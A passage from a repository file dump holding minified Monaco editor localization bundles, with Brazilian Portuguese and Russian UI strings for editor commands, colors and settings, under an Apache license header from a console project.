Flutuante\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Carregando...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Substituir pelo valor anterior\",\"Substituir pelo próximo valor\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Copiar linha acima\",\"Copiar linha abaixo\",\"Mover linha para cima\",\"Mover linha para baixo\",\"Classificar Linhas Ascendentemente\",\"Classificar Linhas Descendentemente\",\"Cortar Espaço em Branco à Direita\",\"Excluir linha\",\"Recuar linha\",\"Recuar linha para a esquerda\",\"Inserir linha acima\",\"Inserir linha abaixo\",\"Excluir tudo à Esquerda\",\"Excluir Tudo à Direita\",\"Unir Linhas\",\"Transpor caracteres ao redor do cursor\",\"Transformar para maiúsculas\",\"Transformar para minúsculas\"],\"vs/editor/contrib/links/browser/links\":[\"Cmd + clique para seguir o link\",\"Ctrl + clique para seguir o link\",\"Cmd + clique para executar o comando\",\"CTRL + clique para executar o comando\",\"Alt + clique para seguir o link\",\"Alt + clique para executar o comando\",\"Desculpe, falha ao abrir este link porque ele não está bem formatado: {0}\",\"Desculpe, falha ao abrir este link porque seu destino está faltando.\",\"Abrir link\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Inserir cursor acima\",\"Inserir cursor abaixo\",\"Adicionar Cursores ao Final das Linhas\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Dicas de parâmetro de gatilho\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, dica\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Mostrar correções ({0})\",\"Mostrar correções\",\"Correção Rápida\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\"- {0} referências\",\"Localizar Todas as Referências\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Carregando...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"símbolo em {0} na linha {1} e coluna {2}\",\"1 símbolo em {0}, caminho completo {1}\",\"{0} símbolos em {1}, caminho completo {2}\",\"Nenhum resultado encontrado\",\"Encontrado 1 símbolo em {0}\",\"Encontrados {0} símbolos em {1}\",\"Encontrados {0} símbolos em {1} arquivos\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Falha ao resolver arquivo.\",\"{0} referências\",\"{0} referência\",\"nenhuma visualização disponível\",\"Referências\",\"Nenhum resultado\",\"Referências\",\"Cor de fundo da área de visualização do título.\",\"Cor de visualização do título.\",\"Cor da visualização de informações do título.\",\"Cor das bordas e seta da área de visualização\",\"Cor de fundo da área de visualização da lista de resultados.\",\"Cor de primeiro plano para nós de linha na lista de resultados visualizados.\",\"Cor de primeiro plano para nós de arquivos na lista de resultados visualizados.\",\"Cor de fundo da entrada selecionada na visualização da lista de resultados.\",\"Cor da entrada selecionada na visualização da lista de resultados.\",\"Cor de fundo da visualização do editor.\",\"Cor de fundo da separação na visualização rápida do editor.\",\"Corresponder cor de realce com visualização da lista de resultados.\",\"Corresponder cor de realce com visualização do editor.\"],\"vs/editor/contrib/rename/browser/rename\":[\"Nenhum resultado.\",\"Renomeado '{0}' para '{1}'com sucesso. Resumo: {2}\",\"Desculpe, falha na execução de renomear.\",\"Renomear Símbolo\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Renomear entrada. Digite o novo nome e tecle Enter para gravar.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Expandir seleção\",\"Reduzir seleção\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"Ao aceitar '{0}' foi inserido o seguinte texto: {1}\",\"Sugestão de gatilho\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"Cor de fundo para a ferramenta de sugestão.\",\"Cor da borda para a ferramenta de sugestão.\",\"Cor de primeiro plano para a ferramenta de sugestão.\",\"Cor de fundo da entrada selecionada da ferramenta de sugestões.\",\"Cor de realce da correspondência na ferramenta de sugestão.\",\"Ler Mais...{0}\",\"{0}, sugestão, tem detalhes\",\"{0}, sugestão\",\"Ler menos... {0}\",\"Carregando...\",\"Nenhuma sugestão.\",\"{0}, aceito\",\"{0}, sugestão, tem detalhes\",\"{0}, sugestão\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Alterne o uso da tecla Tab para mover o foco\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"Cor de fundo de um símbolo durante acesso de leitura, como ao ler uma variável.\",\"Cor de fundo de um símbolo durante acesso de escrita, como ao escrever uma variável.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Fechar\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"Sobreposições da Configuração Padrão\",\"Definir que configurações do editor sejam substituídas para idioma {0}.\",\"Definir que configurações do editor sejam substituídas para um idioma.\",\"Não é possível registrar '{0}'. Isto corresponde a propriedade padrão '\\\\\\\\[.*\\\\\\\\]$' para descrever configurações do editor específico de linguagem. Use a contribuição 'configurationDefaults'.\",\"Não é possível registrar '{0}'. Esta propriedade já está registrada.\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"({0}) foi pressionado. Aguardando segunda tecla de pressionamento simultâneo...\",\"A combinação de chave ({0}, {1}) não é um comando.\"],\"vs/platform/message/common/message\":[\"Fechar\",\"Mais tarde\",\"Cancelar\"],\"vs/platform/theme/common/colorRegistry\":[\"Formato inválido de cor. Use #RGB, #RGBA, #RRGGBB ou #RRGGBBAA\",\"Cores usadas no workbench.\",\"Cor de primeiro plano geral. Essa cor é só usada se não for substituída por um componente.\",\"Cor de primeiro plano geral para mensagens de erro. Essa cor é só usada se não for substituída por um componente.\",\"Cor de primeiro plano para a descrição do texto provendo informação adicional, por exemplo para uma etiqueta.\",\"Cor geral da borda para elementos focalizados. Essa cor é usada somente se não for substituída por um componente.\",\"Uma borda extra em torno de elementos para separá-los dos outros de maior contraste.\",\"Uma borda extra em torno de elementos ativos para separá-los dos outros de maior contraste.\",\"A cor de fundo das seleções de texto na área de trabalho (por exemplo, para campos de entrada ou áreas de texto). Note que isto não se aplica a seleções dentro do editor.\",\"Cor para separadores de texto.\",\"Cor de primeiro plano para links no texto.\",\"Cor de primeiro plano para links ativos no texto.\",\"Cor de primeiro plano para segmentos de texto pré-formatados.\",\"Cor de fundo para blocos de citações no texto.\",\"Cor da borda para blocos de citações no texto.\",\"Cor de fundo para blocos de código no texto.\",\"Cor de sombra ferramentas como localizar/substituir dentro do editor.\",\"Cor de fundo da caixa de entrada.\",\"Cor de primeiro plano da caixa de entrada.\",\"Borda da caixa de entrada.\",\"Cor da borda das opções ativas em campos de entrada.\",\"Cor de primeiro plano da caixa de entrada para o texto de espaço reservado.\",\"Cor de fundo de validação de entrada para a severidade de informações.\",\"Cor da borda de validação de entrada para a severidade de informações.\",\"Cor de fundo de validação de entrada para avisos.\",\"Cor da borda de validação para a severidade de avisos.\",\"Cor de fundo de validação de entrada para a severidade do erro.\",\"Cor da borda de validação de entrada para a severidade do erro.\",\"Cor de fundo do menu suspenso.\",\"Cor de primeiro plano do menu suspenso.\",\"Borda do menu suspenso.\",\"Cor de fundo para o item focalizado de Lista/árvore quando a lista/árvore está ativa. Uma árvore/lista de ativa tem o foco do teclado, uma inativa não.\",\"Cor de fundo da Lista/árvore para o item focalizado quando a lista/árvore está ativa. Uma árvore/lista ativa tem o foco do teclado, uma inativa não.\",\"Cor de fundo para o item selecionado de Lista/árvore quando a lista/árvore está ativa. Uma lista/árvore ativa tem o foco do teclado, uma inativa não.\",\"Cor de primeiro plano para o item selecionado de Lista/árvore quando a lista/árvore está ativa. Uma lista/árvore ativa tem o foco do teclado, uma inativa não.\",\"Cor de fundo para o item selecionado de Lista/árvore quando a lista/árvore está inativa. Uma lista/árvore ativa tem o foco do teclado, uma inativa não.\",\"Cor de primeiro plano para Lista/árvore para o item selecionado quando a lista/árvore está inativa. Uma árvore/lista ativa tem o foco do teclado, um inativo não.\",\"Cor de fundo para o item selecionado de Lista/árvore quando a lista/árvore está inativa. Uma lista/árvore ativa tem o foco do teclado, uma inativa não.\",\"Cor de primeiro plano para Lista/árvore para o item selecionado quando a lista/árvore está inativa. Uma árvore/lista ativa tem o foco do teclado, um inativo não.\",\"Cor de fundo de Lista/árvore quando pairando sobre itens usando o mouse.\",\"Primeiro plano da Lista/Árvoce quando passar sobre itens usando o mouse.\",\"Cor de fundo ao arrastar e soltar de Lista/árvore quando movendo itens usando o mouse.\",\"Cor de primeiro plano de Lista/árvore de destaques de correspondências ao pesquisar na  árvore/lista.\",\"Seletor rápido de cor para rótulos de agrupamento.\",\"Seletor rápido de cor para bordas de agrupamentos.\",\"Cor de primeiro plano do botão.\",\"Cor de fundo do botão.\",\"Cor de fundo de botão quando flutuar sobre ele.\",\"Cor de fundo do distintivo. Distintivos são rótulos de pequenas informações, por exemplo, para a contagem de resultados de pesquisa.\",\"Cor de primeiro plano do distintivo. Distintivos são rótulos de pequenas informações, por exemplo, para a contagem de resultados de pesquisa.\",\"Sombra da barra de rolagem para indicar que a visualização está sendo rolada.\",\"Cor de fundo da barra de rolagem.\",\"Cor de fundo da barra de rolagem quando o cursor do mouse estiver sobre ela.\",\"Cor de fundo da barra de rolagem quando ativa.\",\"Cor de fundo da barra de progresso que pode ser mostrada em operações de execução demorada.\",\"Cor de plano de fundo do editor.\",\"Cor de primeiro plano padrão do editor.\",\"Cor de plano de fundo das ferramentas de edição, como pesquisar/substituir.\",\"Cor da borda das ferramentas do editor. A cor é usada somente se a ferramenta escolhe ter uma borda e a cor não é substituída por uma ferramenta.\",\"Cor de seleção do editor.\",\"Cor do texto selecionado para alto contraste.\",\"Cor de seleção em um editor inativo.\",\"Cor de regiões com o mesmo conteúdo da seleção.\",\"Cor da correspondência de pesquisa atual.\",\"Cor dos outros resultados de pesquisa.\",\"Cor da faixa que limita a pesquisa.\",\"Realçar abaixo da palavra onde é mostrado item flutuante\",\"Cor de fundo para o item flutuante do editor\",\"Cor da borda para o item flutuante do editor.\",\"Cor dos links ativos.\",\"Cor de fundo para texto que foi inserido.\",\"Cor de fundo para texto que foi removido.\",\"Cor de contorno para o texto que foi inserido.\",\"Cor de contorno para o texto que foi removido.\",\"Cor de fundo de cabeçalho atual em conflito de mesclagem em linha.\",\"Cor de fundo de conteúdo atual em conflito de mesclagem em linha.\",\"Cor de fundo de cabeçalho de entrada em conflito de mesclagem em linha.\",\"Cor de fundo de conteúdo de entrada em conflito de mesclagem em linha.\",\"Ancestral comum da cor de fundo do cabeçalho em conflitos de mesclagem inline.\",\"Ancestral comum da cor de fundo do conteúdo em conflitos de mesclagem inline. \",\"Cor da borda dos cabeçalhos e separadores estão em conflito de mesclagem em linha.\",\"Cor de fundo de régua de visuaização atual em conflito de mesclagem em linha.\",\"Cor de fundo de régua de visuaização de entrada em conflito de mesclagem em linha.\",\"Ancestral comum da cor da régua de visão geral para conflitos de mesclagem inline.\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.pt-br.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.ru.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.ru\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (произошло снова)\"],\"vs/base/browser/ui/findinput/findInput\":[\"ввод\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"С учетом регистра\",\"Слово целиком\",\"Использовать регулярное выражение\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Ошибка: {0}\",\"Предупреждение: {0}\",\"Сведения: {0}\"],\"vs/base/common/keybindingLabels\":[\"CTRL\",\"SHIFT\",\"ALT\",\"Клавиша Windows\",\"CTRL\",\"SHIFT\",\"ALT\",\"Команда\",\"CTRL\",\"SHIFT\",\"ALT\",\"Клавиша Windows\"],\"vs/base/common/severity\":[\"Ошибка\",\"Предупреждение\",\"Сведения\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, средство выбора\",\"средство выбора\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Средство быстрого выбора. Введите, чтобы сузить результаты.\",\"Средство быстрого выбора\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Свернуть\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"Нельзя сравнить файлы, потому что один из файлов слишком большой.\"],\"vs/editor/browser/widget/diffReview\":[\"Закрыть\",\"Различие {0} из {1}; исходная версия: {2}, строки: {3}, измененная версия: {4}, строки: {5}\",\"пустой\",\"Исходная версия: {0}, измененная версия: {1}: {2}\",\"+ измененная версия: {0}: {1}\",\"- исходная версия: {0}: {1}\",\"Перейти к следующему различию\",\"Перейти к предыдущему различию\"],\"vs/editor/common/config/commonEditorConfig\":[\"Редактор\",\"Определяет семейство шрифтов.\",\"Управляет насыщенностью шрифта.\",\"Управляет размером шрифта в пикселях.\",\"Управляет высотой строк. Укажите 0 для вычисления высоты строки по размеру шрифта.\",\"Управляет интервалом между буквами в пикселях.\",'Управляет видимостью номеров строк. Возможные значения: \"on\", \"off\" и \"relative\". Значение \"relative\" показывает количество строк, начиная с текущего положения курсора.',\"Столбцы, в которых должны отображаться вертикальные линейки\",\"Символы, которые будут использоваться как разделители слов при выполнении навигации или других операций, связанных со словами.\",'Число пробелов в табуляции. Эта настройка переопределяется на основании содержимого файла, когда включен параметр \"editor.detectIndentation\".',\"Ожидается число. Обратите внимание, что значение auto заменено параметром editor.detectIndentation.\",'Вставлять пробелы при нажатии клавиши TAB. Эта настройка переопределяется на основании содержимого файла, когда включен параметр \"editor.detectIndentation\".',\"Ожидается логическое значение. Обратите внимание, что значение auto заменено параметром editor.detectIndentation.\",\"При открытии файла editor.tabSize и editor.insertSpaces будут определяться на основе содержимого файла.\",\"Определяет, будут ли выделения иметь скругленные углы.\",\"Определяет, будет ли содержимое редактора прокручиваться за последнюю строку.\",\"Определяет, отображается ли мини-карта\",\"Определяет, будет ли автоматически скрываться ползунок мини-карты\",\"Отображает фактические символы в строке вместо цветных блоков.\",\"Ограничивает ширину мини-карты для отображения числа столбцов не больше определенного.\",\"Определяет, можно ли передать строку поиска в мини-приложение поиска из текста, выделенного в редакторе\",'Определяет, будет ли снят флажок \"Поиск в выделенном\", когда в редакторе выбрано несколько символов или строк текста',\"Строки не будут переноситься никогда.\",\"Строки будут переноситься по ширине окна просмотра.\",'Строки будут переноситься по \"editor.wordWrapColumn\".','Строки будут перенесены по минимальному значению из двух: ширина окна просмотра и \"editor.wordWrapColumn\".','Определяет, как должны переноситься строки. Допустимые значения:\\n - \"off\" (отключить перенос);\\n - \"on\" (перенос окна просмотра);\\n - \"wordWrapColumn\" (перенос в \"editor.wordWrapColumn\");\\n - \"bounded\" (перенос при минимальной ширине окна просмотра и \"editor.wordWrapColumn\").','Определяет столбец переноса редактора, если значение \"editor.wordWrap\" — \"wordWrapColumn\" или \"bounded\".','Управляет отступом строк с переносом по словам. Допустимые значения: \"none\", \"same\" или \"indent\".',\"Множитель, используемый для параметров deltaX и deltaY событий прокрутки колесика мыши.\",\"Соответствует клавише CTRL в Windows и Linux и клавише COMMAND в OS X.\",\"Соответствует клавише ALT в Windows и Linux и клавише OPTION в OS X.\",'Модификатор, который будет использоваться для добавления нескольких курсоров с помощью мыши. \"ctrlCmd\" соответствует клавише CTRL в Windows и Linux и клавише COMMAND в OS X. Жесты мыши \"Перейти к определению\" и \"Открыть ссылку\" будут изменены так, чтобы они не конфликтовали с несколькими курсорами.',\"Разрешение кратких предложений в строках.\",\"Разрешение кратких предложений в комментариях.\",\"Разрешение кратких предложений вне строк и комментариев.\",\"Определяет, должны ли при вводе текста автоматически отображаться предложения\",\"Управляет длительностью задержки (в мс), перед отображением кратких предложений.\",\"Включает всплывающее окно с документацией по параметру и сведениями о типе, которое отображается во время набора\",\"Определяет, должен ли редактор автоматически закрывать скобки после открытия.\",\"Управляет параметром, определяющим, должен ли редактор автоматически форматировать строку после ввода.\",\"Определяет, будет ли редактор автоматически форматировать вставленное содержимое. Модуль форматирования должен быть доступен и иметь возможность форматировать диапазон в документе.\",\"Определяет, должен ли редактор автоматически изменять отступ при вводе текста, вставке текста или перемещении строк. Для использования этого параметра должны быть доступны правила отступа.\",\"Определяет, должны ли при вводе триггерных символов автоматически отображаться предложения.\",'Определяет, будут ли предложения приниматься клавишей ВВОД в дополнение к клавише TAB. Это помогает избежать неоднозначности между вставкой новых строк и принятием предложений. Значение \"smart\" означает, что при изменении текста предложения будут приниматься только при нажатии клавиши ВВОД.','Определяет, будут ли предложения приниматься символами фиксации. Например, в JavaScript точка с запятой (\";\") может быть символом фиксации, принимающим предложение и вводящим данный символ.',\"Отображать предложения фрагментов поверх других предложений.\",\"Отображать предложения фрагментов под другими предложениями.\",\"Отображать предложения фрагментов рядом с другими предложениями.\",\"Не отображать предложения фрагментов.\",\"Управляет отображением фрагментов вместе с другими предложениями и их сортировкой.\",\"Управляет тем, копируется ли текущая строка при копировании без выделения.\",\"Определяет, следует ли оценивать завершения на основе слов в документе.\",\"Размер шрифта мини-приложения предложений\",\"Высота строки мини-приложения с предложениями\",\"Определяет, будет ли редактор выделять фрагменты, совпадающие с выделенным текстом.\",\"Определяет, должен ли редактор выделять экземпляры семантических символов.\",\"Определяет, сколько украшений могут отображаться на одном месте в обзорной линейке.\",\"Определяет, следует ли рисовать границу на обзорной линейке.\",'Управляет стилем анимации курсора. Допустимые значения: \"blink\", \"smooth\", \"phase\", \"expand\" и \"solid\"',\"Изменение размера шрифта в редакторе при нажатой клавише CTRL и движении колесика мыши\",'Определяет стиль курсора. Допустимые значения: \"block\", \"block-outline\", \"line\", \"line-thin\", \"underline\" и \"underline-thin\"',\"Включает лигатуры шрифта.\",\"Управляет скрытием курсора в обзорной линейке.\",'Определяет, должен ли редактор обрабатывать символы пробела; возможные значения: \"none\", \"boundary\" и \"all\". Параметр \"boundary\" не обрабатывает единичные пробелы между словами.',\"Определяет, должны ли в редакторе отображаться управляющие символы.\",\"Определяет, должны ли в редакторе отображаться направляющие отступа.\",\"Определяет, должен ли редактор выделять текущую строку. Возможные значения: none, gutter, line и all.\",\"Управляет показом групп связанных элементов кода в редакторе\",\"Определяет, включено ли сворачивание кода в редакторе.\",\"Определяет, будут ли автоматически скрываться элементы управления свертыванием на полях.\",\"Выделяет соответствующие скобки при выборе одной из них.\",\"Управляет отображением вертикальных полей глифа в редакторе. Поля глифа в основном используются для отладки.\",\"Вставка и удаление пробелов после позиции табуляции\",\"Удалить автоматически вставляемый конечный пробел\",\"Оставлять быстрые редакторы открытыми, даже если дважды щелкнуто их содержимое или нажата клавиша ESC.\",\"Определяет, следует ли редактору разрешить перемещение выделенных элементов с помощью перетаскивания.\",\"Редактор будет определять, подключено ли средство чтения с экрана, с помощью API-интерфейсов платформы.\",\"Редактор будет оптимизирован для использования со средством чтения с экрана в постоянном режиме.\",\"Редактор никогда не будет оптимизироваться для использования со средством чтения с экрана.\",\"Определяет, следует ли запустить редактор в режиме оптимизации для средства чтения с экрана.\",\"Определяет, должен ли редактор определять ссылки и делать их доступными для щелчка\",\"Определяет, как редактор несовпадений отображает отличия: рядом или в тексте.\",\"Определяет, должен ли редактор несовпадений трактовать несовпадения символов-разделителей как различия.\",\"Определяет отображение редактором несовпадений индикаторов +/- для добавленных или удаленных изменений\",\"Контролирует, следует ли поддерживать первичный буфер обмена Linux.\"],\"vs/editor/common/config/editorOptions\":[\"Редактор сейчас недоступен. Чтобы открыть список действий, нажмите ALT+F1.\",\"Содержимое редактора\"],\"vs/editor/common/controller/cursor\":[\"Неожиданное исключение при выполнении команды.\"],\"vs/editor/common/model/textModelWithTokens\":[\"Не удалось разметить входные данные.\"],\"vs/editor/common/modes/modesRegistry\":[\"Обычный текст\"],\"vs/editor/common/services/bulkEdit\":[\"Следующие файлы были изменены: {0}\",\"Нет изменений\",\"Сделано изменений {0} в {1} файлах\",\"Сделано изменений {0} в одном файле\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"Цвет фона для выделения строки в позиции курсора.\",\"Цвет фона границ вокруг строки в позиции курсора.\",\"Цвет фона выделенных диапазонов, например в функциях быстрого открытия и поиска.\",\"Цвет курсора редактора.\",\"Цвет фона курсора редактора. Позволяет настраивать цвет символа, перекрываемого прямоугольным курсором.\",\"Цвет пробелов в редакторе.\",\"Цвет направляющих для отступов редактора.\",\"Цвет номеров строк редактора.\",\"Цвет линейки редактора.\",\"Цвет переднего плана элемента CodeLens в редакторе\",\"Цвет фона парных скобок\",\"Цвет прямоугольников парных скобок\",\"Цвет границы для линейки в окне просмотра.\",\"Цвет фона поля в редакторе. В поле размещаются отступы глифов и номера строк.\",\"Цвет волнистой линии для выделения ошибок в редакторе.\",\"Цвет границ волнистой линии для выделения ошибок в редакторе.\",\"Цвет волнистой линии для выделения предупреждений в редакторе.\",\"Цвет границ волнистой линии для выделения предупреждений в редакторе.\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"Перейти к скобке\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"Переместить курсор влево\",\"Переместить курсор вправо\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"Транспортировать буквы\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"Вырезать\",\"Копировать\",\"Вставить\",\"Копировать с выделением синтаксиса\"],\"vs/editor/contrib/comment/common/comment\":[\"Закомментировать или раскомментировать строку\",\"Закомментировать строку\",\"Раскомментировать строку\",\"Закомментировать или раскомментировать блок\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"Показать контекстное меню редактора\"],\"vs/editor/contrib/find/browser/findWidget\":[\"Найти\",\"Найти\",\"Предыдущее соответствие\",\"Следующее соответствие\",\"Найти в выделении\",\"Закрыть\",\"Заменить\",\"Заменить\",\"Заменить\",\"Заменить все\",'Режим \"Переключение замены\"',\"Отображаются только первые 999 результатов, но все операции поиска выполняются со всем текстом.\",\"{0} из {1}\",\"Нет результатов\"],\"vs/editor/contrib/find/common/findController\":[\"Найти\",\"Найти далее\",\"Найти ранее\",\"Найти следующее выделение\",\"Найти предыдущее выделение\",\"Заменить\",\"Добавить выделение в следующее найденное совпадение\",\"Добавить выделенный фрагмент в предыдущее найденное совпадение\",\"Переместить последнее выделение в следующее найденное совпадение\",\"Переместить последний выделенный фрагмент в предыдущее найденное совпадение\",\"Выбрать все вхождения найденных совпадений\",\"Изменить все вхождения\",\"Показать следующий найденный термин\",\"Показать предыдущий найденный термин\"],\"vs/editor/contrib/folding/browser/folding\":[\"Развернуть\",\"Развернуть рекурсивно\",\"Свернуть\",\"Свернуть рекурсивно\",\"Свернуть все\",\"Развернуть все\",\"Уровень папки {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"Внесена одна правка форматирования в строке {0}.\",\"Внесены правки форматирования ({0}) в строке {1}.\",\"Внесена одна правка форматирования между строками {0} и {1}.\",\"Внесены правки форматирования ({0}) между строками {1} и {2}.\",\"Форматировать документ\",\"Форматировать выбранный фрагмент\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":['Определение для \"{0}\" не найдено.',\"Определения не найдены.\",\" — определения {0}\",\"Перейти к определению\",\"Открыть определение сбоку\",\"Показать определение\",'Не найдена реализация для \"{0}\".',\"Не найдена реализация.\",\"— {0} реализаций\",\"Перейти к реализации\",\"Показать реализацию\",'Не найдено определение типа для \"{0}\".',\"Не найдено определение типа.\",\"— {0} определений типов\",\"Перейти к определению типа\",\"Показать определение типа\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"Щелкните, чтобы отобразить определения ({0}).\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"Перейти к следующей ошибке или предупреждению\",\"Перейти к предыдущей ошибке или предупреждению\",\"Цвет ошибки в мини-приложении навигации по меткам редактора.\",\"Цвет предупреждения в мини-приложении навигации по меткам редактора.\",\"Фон мини-приложения навигации по меткам редактора.\"],\"vs/editor/contrib/hover/browser/hover\":[\"Показать при наведении\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"Идет загрузка...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"Заменить предыдущим значением\",\"Заменить следующим значением\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"Копировать строку сверху\",\"Копировать строку снизу\",\"Переместить строку вверх\",\"Переместить строку вниз\",\"Сортировка строк по возрастанию\",\"Сортировка строк по убыванию\",\"Удалить конечные символы-разделители\",\"Удалить строку\",\"Увеличить отступ\",\"Уменьшить отступ\",\"Вставить строку выше\",\"Вставить строку ниже\",\"Удалить все слева\",\"Удалить все справа\",\"_Объединить строки\",\"Транспонировать символы вокруг курсора\",\"Преобразовать в верхний регистр\",\"Преобразовать в нижний регистр\"],\"vs/editor/contrib/links/browser/links\":[\"Щелкните с нажатой клавишей Cmd, чтобы перейти по ссылке\",\"Щелкните с нажатой клавишей Ctrl, чтобы перейти по ссылке\",\"Для выполнения команды щелкните ее, удерживая нажатой клавишу CMD\",\"Для выполнения команды щелкните ее, удерживая нажатой клавишу CTRL\",\"Щелкните с нажатой клавишей ALT, чтобы перейти по ссылке.\",\"Для выполнения команды щелкните ее, удерживая нажатой клавишу ALT\",\"Не удалось открыть ссылку, так как она имеет неправильный формат: {0}\",\"Не удалось открыть ссылку, у нее отсутствует целевой объект.\",\"Открыть ссылку\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"Добавить курсор выше\",\"Добавить курсор ниже\",\"Добавить курсоры к окончаниям строк\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"Переключить подсказки к параметрам\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}, подсказка\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"Показать исправления ({0})\",\"Показать исправления\",\"Быстрое исправление\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" — ссылки {0}\",\"Найти все ссылки\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"Идет загрузка...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"ссылка в {0} в строке {1} и символе {2}\",\"1 символ в {0}, полный путь: {1}\",\"{0} символов в {1}, полный путь: {2} \",\"Результаты не найдены\",\"Обнаружен 1 символ в {0}\",\"Обнаружено {0} символов в {1}\",\"Обнаружено {0} символов в {1} файлах\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"Не удалось разрешить файл.\",\"Ссылок: {0}\",\"{0} ссылка\",\"предварительный просмотр недоступен\",\"Ссылки\",\"Результаты отсутствуют\",\"Ссылки\",\"Цвет фона области заголовка быстрого редактора.\",\"Цвет заголовка быстрого редактора.\",\"Цвет сведений о заголовке быстрого редактора.\",\"Цвет границ быстрого редактора и массива.\",\"Цвет фона в списке результатов представления быстрого редактора.\",\"Цвет переднего плана узлов строки в списке результатов быстрого редактора.\",\"Цвет переднего плана узлов файла в списке результатов быстрого редактора.\",\"Цвет фона выбранной записи в списке результатов быстрого редактора.\",\"Цвет переднего плана выбранной записи в списке результатов быстрого редактора.\",\"Цвет фона быстрого редактора.\",\"Цвет фона поля в окне быстрого редактора.\",\"Цвет выделения совпадений в списке результатов быстрого редактора.\",\"Цвет выделения совпадений в быстром редакторе.\"],\"vs/editor/contrib/rename/browser/rename\":[\"Результаты отсутствуют.\",\"«{0}» успешно переименован в «{1}». Сводка: {2}\",\"Не удалось переименовать.\",\"Переименовать символ\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"Введите новое имя для входных данных и нажмите клавишу ВВОД для подтверждения.\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"Развернуть выделение\",\"Сжать выделение\"],\"vs/editor/contrib/suggest/browser/suggestController\":['При принятии \"{0}\" был добавлен следующий текст: \"{1}\"',\"Переключить предложение\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"Цвет фона виджета подсказок.\",\"Цвет границ виджета подсказок.\",\"Цвет переднего плана 